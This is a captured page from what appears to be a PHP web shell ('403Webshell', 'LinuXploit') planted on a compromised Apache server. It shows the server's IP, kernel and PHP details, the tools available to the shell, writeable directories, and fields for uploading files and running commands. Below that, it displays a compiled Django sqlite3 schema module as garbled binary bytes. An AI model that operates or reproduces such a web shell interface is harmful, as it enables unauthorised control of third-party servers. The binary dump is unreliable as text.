403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/django/db/backends/sqlite3/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/django/db/backends/sqlite3/__pycache__/schema.cpython-311.pyc
�

�|�eQ���ddlZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZdd	lmZGd
�de��ZdS)�N)�Decimal)�Apps)�NotSupportedError)�BaseDatabaseSchemaEditor)�	Statement)�strip_quotes)�UniqueConstraint)�atomicc���eZdZdZdZdZdZdZ�fd�Z�fd�Z	d�Z
dd
�Zd�fd�	Zd�fd
�	Z
dd�Zd�fd�	Zd�Zd�Z	dd�Zd�Z�fd�Z�fd�Zd�Z�xZS)�DatabaseSchemaEditorzDROP TABLE %(table)sNzEREFERENCES %(to_table)s (%(to_column)s) DEFERRABLE INITIALLY DEFERREDz7CREATE UNIQUE INDEX %(name)s ON %(table)s (%(columns)s)zDROP INDEX %(name)sc���|j���std���t�����S)Nz�SQLite schema editor cannot be used while foreign key constraint checks are enabled. Make sure to disable them before entering a transaction.atomic() context because SQLite does not support disabling them in the middle of a multi-statement transaction.)�
connection�disable_constraint_checkingr�super�	__enter__)�self�	__class__s ��C/usr/lib/python3/dist-packages/django/db/backends/sqlite3/schema.pyrzDatabaseSchemaEditor.__enter__sJ�����:�:�<�<�	�#�1���
��w�w� � �"�"�"�c���|j���t���|||��|j���dS�N)r�check_constraintsr�__exit__�enable_constraint_checking)r�exc_type�	exc_value�	tracebackrs    �rrzDatabaseSchemaEditor.__exit__"sM�����)�)�+�+�+�
������9�i�8�8�8���2�2�4�4�4�4�4rc�L�	ddl}|�|��}n#t$rYn|j$rYnwxYwt	|t
��rt
t|����St	|tttf��rt
|��St	|t��rd|�
dd��zS|�dSt	|tttf��rd|���zStd|�dt!|�������)	Nrz'%s'�'z''�NULLzX'%s'zCannot quote parameter value z	 of type )�sqlite3�adapt�ImportError�ProgrammingError�
isinstance�bool�str�intr�float�replace�bytes�	bytearray�
memoryview�hex�
ValueError�type)r�valuer!s   r�quote_valuez DatabaseSchemaEditor.quote_value's5��	��N�N�N��M�M�%�(�(�E�E���	�	�	��D��'�	�	�	��D�	�����e�T�"�"�	b��s�5�z�z�?�?�"�
�����4�
5�
5�	b��u�:�:��
��s�
#�
#�
	b��E�M�M�$��7�7�7�7�
�]��6�
���y�*�=�
>�
>�	b��U�Y�Y�[�[�(�(��*�U�U�U�TX�Y^�T_�T_�T_�`�a�a�as��
4�	4�4Fc��|j���5}|jj�|��D]t}|r|j|kr�|jj�||j��}|���D]*}|d\}}	||kr|�|	|krddd��dS�+�u	ddd��n#1swxYwYdS)a
        Return whether or not the provided table name is referenced by another
        one. If `column_name` is specified, only references pointing to that
        column are considered. If `ignore_self` is True, self-referential
        constraints are ignored.
        �foreign_keyNTF)r�cursor�
introspection�get_table_list�name�_get_foreign_key_constraints�values)
r�
table_name�column_name�ignore_selfr5�other_table�constraints�
constraint�constraint_table�constraint_columns
          r�_is_referenced_by_fk_constraintz4DatabaseSchemaEditor._is_referenced_by_fk_constraintCsJ���_�
#�
#�
%�
%�		$��#��<�K�K�F�S�S�
$�
$����;�#3�z�#A�#A��"�o�;�X�X�Y_�al�aq�r�r��"-�"4�"4�"6�"6�$�$�J�:D�]�:S�7�$�&7�(�J�6�6�(�0�4E��4T�4T�#�t�		$�		$�		$�		$�		$�		$�		$�		$��
$�	
$�		$�		$�		$�		$�		$�		$�		$�		$�		$�		$�		$����		$�		$�		$�		$��us�BB<�-B<�<C�CTc���|jjjs�|r�|�|��ru|jjrtd|z���|j���t���|||��|j�	��dSt���|||��dS)Nz�Renaming the %r table while in a transaction is not supported on SQLite < 3.26 because it would break referential integrity. Try adding `atomic = False` to the Migration class.)
r�features�!supports_atomic_references_renamerC�in_atomic_blockrrr�alter_db_tabler)r�model�old_db_table�new_db_table�disable_constraintsrs     �rrHz#DatabaseSchemaEditor.alter_db_tableVs������(�J�	F�#�	F�(,�(L�(L�\�(Z�(Z�	F���.�
"�'�U�!�	)!�"�"�"�

�O�6�6�8�8�8��G�G�"�"�5�,��E�E�E��O�7�7�9�9�9�9�9��G�G�"�"�5�,��E�E�E�E�Erc����|�||��sdS|j}|jj}|���\}}|j|k�r�|jjj�s�|�||d����r�|jj	r td|jj�d|�d����t|jj��5t���||||���|j���5}	|	�d�����d}
|	�d	��d
|z}|���d}||z}
||z}|	�d|
|f��|	�d
|
dzz��|	�d��|	�d��ddd��n#1swxYwYddd��n#1swxYwY|j���5}	|	�d��ddd��dS#1swxYwYdSt���||||���dS)NT)r=z
Renaming the �.z� column while in a transaction is not supported on SQLite < 3.26 because it would break referential integrity. Try adding `atomic = False` to the Migration class.)�strictzPRAGMA schema_versionrzPRAGMA writable_schema = 1z REFERENCES "%s" ("%%s") �z3UPDATE sqlite_master SET sql = replace(sql, %s, %s)zPRAGMA schema_version = %dzPRAGMA writable_schema = 0zPRAGMA integrity_check�VACUUM)�_field_should_be_alteredr8�_meta�db_table�get_attname_columnrrErFrCrGrr
�aliasr�alter_fieldr5�execute�fetchone)rrI�	old_field�	new_fieldrO�old_field_namer;�_�old_column_namer5�schema_version�references_template�new_column_name�search�replacementrs               �rrWz DatabaseSchemaEditor.alter_fieldes4����,�,�Y�	�B�B�	��F�"����[�)�
�&�9�9�;�;���?��N�n�,�,��O�,�N�
-��4�4�Z��^b�4�c�c�
-���.�
<�'�'��[�)�)�)�>�>�>�	);�<�<�<�
���-�.�.�
=�
=����#�#�E�9�i��#�O�O�O��_�+�+�-�-�
=��%+�^�^�4K�%L�%L�%U�%U�%W�%W�XY�%Z�N��N�N�#?�@�@�@�*E�
�*R�'�&/�&B�&B�&D�&D�Q�&G�O�0�?�B�F�"5��"G�K��N�N�#X�[a�cn�Zo�p�p�p��N�N�#?�>�TU�CU�#V�W�W�W��N�N�#?�@�@�@��N�N�#;�<�<�<�
=�
=�
=�
=�
=�
=�
=�
=�
=�
=�
=����
=�
=�
=�
=�
=�
=�
=�
=�
=�
=�
=�
=�
=�
=�
=����
=�
=�
=�
=�*��'�'�)�)�
)�V����x�(�(�(�
)�
)�
)�
)�
)�
)�
)�
)�
)�
)�
)�
)����
)�
)�
)�
)�
)�
)�
�G�G����y�)�F��K�K�K�K�KsI�?G+�?C	G�G+�G	�G+�G	�G+�+G/�2G/�H2�2H6�9H6c�l	�������fd���fd��jjD��}�fd��jjD��}i�d}t|dd��s|r`t|ddd��rIt|�����D]'\}}	|	jrd|	_|	}|	jr||=||	j=�(|rH|||j<|j	s7|j
r0����|����||j<|r�|\}
}|�
|
jd��|�
|
jd��|||j<|
jrX|jsQd��|
j������|����d	�z}|||j<n"��|
j��||j<|j�|
j<�rL|�j=|�j=�j	r5�jjjjr���jj��St'��}
�fd
��jjD��}�fd��jjD��}�jj}�r�fd�|D��}t�jj��}t1j|��}�jj�jj|||||
d
�}t9dd|��}||d<�j|d<t9�jj�j|��t1j|��}�jjdtA�jj��z|||||
d
�}t9dd|��}||d<�j|d<t9d�jjz�j|��}��!|����"d��|jj���dd�#�fd�|D�����dd�#|�$�����d���jj���������d�����%||jj�jjd����j&D]}��"|���g�_&|r	d|_dSdS)a|
        Shortcut to transform a model from old_model into new_model

        This follows the correct procedure to perform non-rename or column
        addition operations based on SQLite's documentation

        https://www.sqlite.org/lang_altertable.html#caution

        The essential steps are:
          1. Create a table with the updated definition called "new__app_model"
          2. Copy the data from the existing "app_model" table to the new table
          3. Drop the "app_model" table
          4. Rename the "new__app_model" table to "app_model"
          5. Restore any index of the previous "app_model" table.
        c�.��|jo
|jj�uSr)�is_relation�remote_fieldrI)�frIs �r�is_self_referentialz?DatabaseSchemaEditor._remake_table.<locals>.is_self_referential�s����=�B�Q�^�%9�U�%B�Brc�^��i|])}|j�|��r|���n|��*S�)r8�clone)�.0rhris  �r�
<dictcomp>z6DatabaseSchemaEditor._remake_table.<locals>.<dictcomp>�sJ���
�
�
��
�F�!4�!4�Q�!7�!7�>�A�G�G�I�I�I�Q�
�
�
rc�P��i|]"}|j��|j����#Srk)�column�
quote_name)rmrhrs  �rrnz6DatabaseSchemaEditor._remake_table.<locals>.<dictcomp>�s+���b�b�b�1�1�8�T�_�_�Q�X�6�6�b�b�brN�primary_keyFrPzcoalesce(%(col)s, %(default)s))�col�defaultc�,��g|]}�fd�|D����S)c�<��g|]}��||����Srk��get�rm�n�rename_mappings  �r�
<listcomp>zADatabaseSchemaEditor._remake_table.<locals>.<listcomp>.<listcomp>�s)���6�6�6�!�^�
�
��1�
%�
%�6�6�6rrk)rm�uniquer{s  �rr|z6DatabaseSchemaEditor._remake_table.<locals>.<listcomp>�s=���
�
�
��
7�6�6�6�v�6�6�6�
�
�
rc�,��g|]}�fd�|D����S)c�<��g|]}��||����Srkrwrys  �rr|zADatabaseSchemaEditor._remake_table.<locals>.<listcomp>.<listcomp>�s)���5�5�5�!�^�
�
��1�
%�
%�5�5�5rrk)rm�indexr{s  �rr|z6DatabaseSchemaEditor._remake_table.<locals>.<listcomp>�s=���
�
�
��
6�5�5�5�u�5�5�5�
�
�
rc�0��g|]}�j|jv�|��Srk)r8�fields)rmr��delete_fields  �rr|z6DatabaseSchemaEditor._remake_table.<locals>.<listcomp>�s3��������$�E�L�8�8��8�8�8r)�	app_labelrT�unique_together�index_together�indexesr?�apps�Metark�
__module__znew__%szNew%s�INSERT INTO � (�, c3�B�K�|]}��|��V��dSr)rq)rm�xrs  �r�	<genexpr>z5DatabaseSchemaEditor._remake_table.<locals>.<genexpr>s/�����:�:�Q�d�o�o�a�(�(�:�:�:�:�:�:r�	) SELECT � FROM )�handle_autom2m)rLT)'rS�local_concrete_fields�getattr�list�itemsrr�auto_createdrpr8�many_to_many�concreter2�effective_default�pop�nullrqrg�through�delete_modelrr�r�r�r?�copy�deepcopyr�rTr0r��object_name�	__bases__r�create_modelrX�joinr:rH�deferred_sql)rrI�create_fieldr�rW�body�mapping�restore_pk_fieldr8�fieldrZr[�case_sqlr�r�r�r�r?�	body_copy�
meta_contents�meta�	new_model�sqlrir{s`` `                   @@r�
_remake_tablez"DatabaseSchemaEditor._remake_table�s��������&	C�	C�	C�	C�	C�
�
�
�
��[�6�
�
�
��c�b�b�b���@a�b�b�b���� ���<���6�6�	2��	2� '��A��
�u� M� M�	2�#�D�J�J�L�L�1�1�
2�
2���e��$�2�(-�E�%�',�$��)�2� ��J�#�E�L�1���	�&2�D��"�#��,�
��1F�
�/3�/?�/?��*�*�<�8�8�0�0���+�,��
	<�#.� �I�y��H�H�Y�^�T�*�*�*��K�K�	�(�$�/�/�/�#,�D��� ��~�
N�i�n�
N�;��?�?�9�+;�<�<�#�/�/��0F�0F�y�0Q�0Q�R�R�?�?���-5��	�(�)�)�,0�O�O�I�<L�,M�,M��	�(�)�-6�^�N�9�>�*��	L��\�&�'���+�,��(�
L�\�-F�-N�-T�-a�
L��(�(��)B�)J�K�K�K��v�v��
�
�
�
��+�5�
�
�
��
�
�
�
���3�
�
�
��
�+�%���	�����#*����G�
�5�;�2�3�3��
�M�$�'�'�	���.���,�.�,��&��
�
�
��F�B�
�.�.�� �	�&��"'�"2�	�,���U�[�
$�e�o�y�A�A�A��M�$�'�'�	���.�!�L���1E�$F�$F�F�.�,��&��
�
�
��F�B�
�.�.�� �	�&��"'�"2�	�,����5�;�#:�:�E�O�Y�W�W�	�	
���)�$�$�$�	
�����O�O�I�O�4�5�5�5�5��I�I�:�:�:�:�'�:�:�:�:�:�:�:��I�I�g�n�n�&�&�'�'�'�'��O�O�E�K�0�1�1�1�	
�	�	�	�	
���%���6�6�6�	
����y��/���1E� %�	�	
�	
�	
��$�	�	�C��L�L����������	0�+/��(�(�(�	0�	0rc���|r#t���|��dS|�|jd|�|jj��iz��t|j��D]P}t|t��r9|�|jj��r|j�|���QdS)N�table)
rr�rX�sql_delete_tablerqrSrTr�r�r%r�references_table�remove)rrIr�r�rs    �rr�z!DatabaseSchemaEditor.delete_model5s�����
	2��G�G� � ��'�'�'�'�'�
�L�L��.�������)=�>�>�2��
�
�
��D�-�.�.�
2�
2���c�9�-�-�2�#�2F�2F�u�{�G[�2\�2\�2��%�,�,�S�1�1�1��
2�
2rc��|jr5|jjjjr|�|jj��S|�||���dS)z�
        Create a field on a model. Usually involves adding a column, but may
        involve adding a table instead (for M2M fields).
        )r�N)r�rgr�rSr�r�r��rrIr�s   r�	add_fieldzDatabaseSchemaEditor.add_fieldBs]����	A�%�"4�"<�"B�"O�	A��$�$�U�%7�%?�@�@�@����5�u��5�5�5�5�5rc��|jr9|jjjjr!|�|jj��dSdS|�|j���d�dS|�||���dS)z�
        Remove a field from a model. Usually involves deleting a column,
        but for M2Ms may involve deleting a table.
        )rr0N)r�)	r�rgr�rSr�r��
db_parametersrr�r�s   r�remove_fieldz!DatabaseSchemaEditor.remove_fieldLs�����
	:��!�)�/�<�
>��!�!�%�"4�"<�=�=�=�=�=�
>�
>��"�"�d�o�"�>�>�v�F�N������u�5��9�9�9�9�9rc	��|jjjr�|j|jkr|�||��|�||��krQ|jr|jsC|jr|js5|�|�|j	j
|||����S|�|||f���|j�r||k�rt��}	|jj	}
|
jD]r}|j|kr�|js+|j|jkr|	�|j���@|jr+|jj	jr|	�|j���s|jrK|
jD]C}|j|kr�|jjj	jr|	�|jj���D|	D]}
|�|
���dSdSdS)z3Perform a "physical" (non-ManyToMany) field update.�rWN)rrE�can_alter_table_rename_columnrp�
column_sqlrg�
db_constraintrX�_rename_field_sqlrSrTr�r}�setrI�related_objects�
related_modelr��
field_namer8�addrrr�r�)rrIrZr[�old_type�new_type�
old_db_params�
new_db_paramsrO�related_models�optsrgr�r�s              r�_alter_fieldz!DatabaseSchemaEditor._alter_field^s��

�O�$�B�	n���	� 0�0�0��O�O�E�9�-�-�����	�1R�1R�R�R��'�
S�,5�,C�
S��'�
S�,5�,C�
S��<�<�� 6� 6�u�{�7K�Y�Xa�ck� l� l�m�m�m����5�y�)�.D��E�E�E���	2��H� 4� 4� �U�U�N��?�(�D� $� 4�
=�
=���-��6�6��#�0�=�#�.�)�.�@�@�&�*�*�<�+E�F�F�F���*�=�|�/C�/I�/V�=�"�&�&�|�';�<�<�<���$�
N�$(�$5�N�N�L�#�1�U�:�:� �#�0�8�>�K�N�&�*�*�<�+D�+L�M�M�M��!/�
2�
2�
��"�"�=�1�1�1�1�)	2�	2� 4� 4�&
2�
2rc
��|jjjj|jjjjkr�|�|jj|jjj�|�����|jjj�|�����f���dS|�|jj��|�d|�	|jjjj���dd�
d|���|���g���dd�
d|���|���g���d|�	|jjjj������|�
|jj��dS)	z*Alter M2Ms to repoint their to= endpoints.r�Nr�r�r��idr�r�)rgr�rSrTr��	get_field�m2m_reverse_field_namer�rXrqr��m2m_column_name�m2m_reverse_namer�)rrIrZr[rOs     r�_alter_many_to_manyz(DatabaseSchemaEditor._alter_many_to_many�s����!�)�/�8�I�<R�<Z�<`�<i�i�i�����&�.��*�2�8�B�B�9�Cc�Cc�Ce�Ce�f�f��*�2�8�B�B�9�Cc�Cc�Ce�Ce�f�f�	�
�
�
�
�
�F�	
���)�0�8�9�9�9������O�O�I�2�:�@�I�J�J�J�J��I�I���)�)�+�+��*�*�,�,��
�
�
�
�

�I�I���)�)�+�+��*�*�,�,��
�
�
�
�

�O�O�I�2�:�@�I�J�J�J�

�
	�
	�
	�	
���)�0�8�9�9�9�9�9rc���t|t��r+|jr$t���||��dS|�|��dSr)r%r	�	conditionr�add_constraintr��rrIr@rs   �rr�z#DatabaseSchemaEditor.add_constraint�sZ����j�"2�3�3�	&�
�8L�	&��G�G�"�"�5�*�5�5�5�5�5����u�%�%�%�%�%rc���t|t��r+|jr$t���||��dS|�|��dSr)r%r	r�r�remove_constraintr�r�s   �rr�z&DatabaseSchemaEditor.remove_constraint�sZ����j�"2�3�3�	&�
�8L�	&��G�G�%�%�e�Z�8�8�8�8�8����u�%�%�%�%�%rc��d|zS)Nz	 COLLATE rk)r�	collations  r�_collate_sqlz!DatabaseSchemaEditor._collate_sql�s
���Y�&�&r)NF)T)F)NNN)�__name__r��__qualname__r��
sql_create_fk�sql_create_inline_fk�sql_create_unique�sql_delete_uniquerrr2rCrHrWr�r�r�r�r�r�r�r�r��
__classcell__)rs@rrr
s��������-���M�b��Q��-��#�#�#�#�#�5�5�5�5�5�
b�b�b�8����&
F�
F�
F�
F�
F�
F�'L�'L�'L�'L�'L�'L�Re0�e0�e0�e0�N2�2�2�2�2�2�6�6�6�:�:�:�&;@�"2�"2�"2�"2�H!:�!:�!:�F&�&�&�&�&�&�&�&�&�&�'�'�'�'�'�'�'rr)r��decimalr�django.apps.registryr�	django.dbr�django.db.backends.base.schemar�!django.db.backends.ddl_referencesr�django.db.backends.utilsr�django.db.modelsr	�django.db.transactionr
rrkrr�<module>r�s�������������%�%�%�%�%�%�'�'�'�'�'�'�C�C�C�C�C�C�7�7�7�7�7�7�1�1�1�1�1�1�-�-�-�-�-�-�(�(�(�(�(�(�e'�e'�e'�e'�e'�3�e'�e'�e'�e'�e'r

Youez - 2016 - github.com/yon3zu
LinuXploit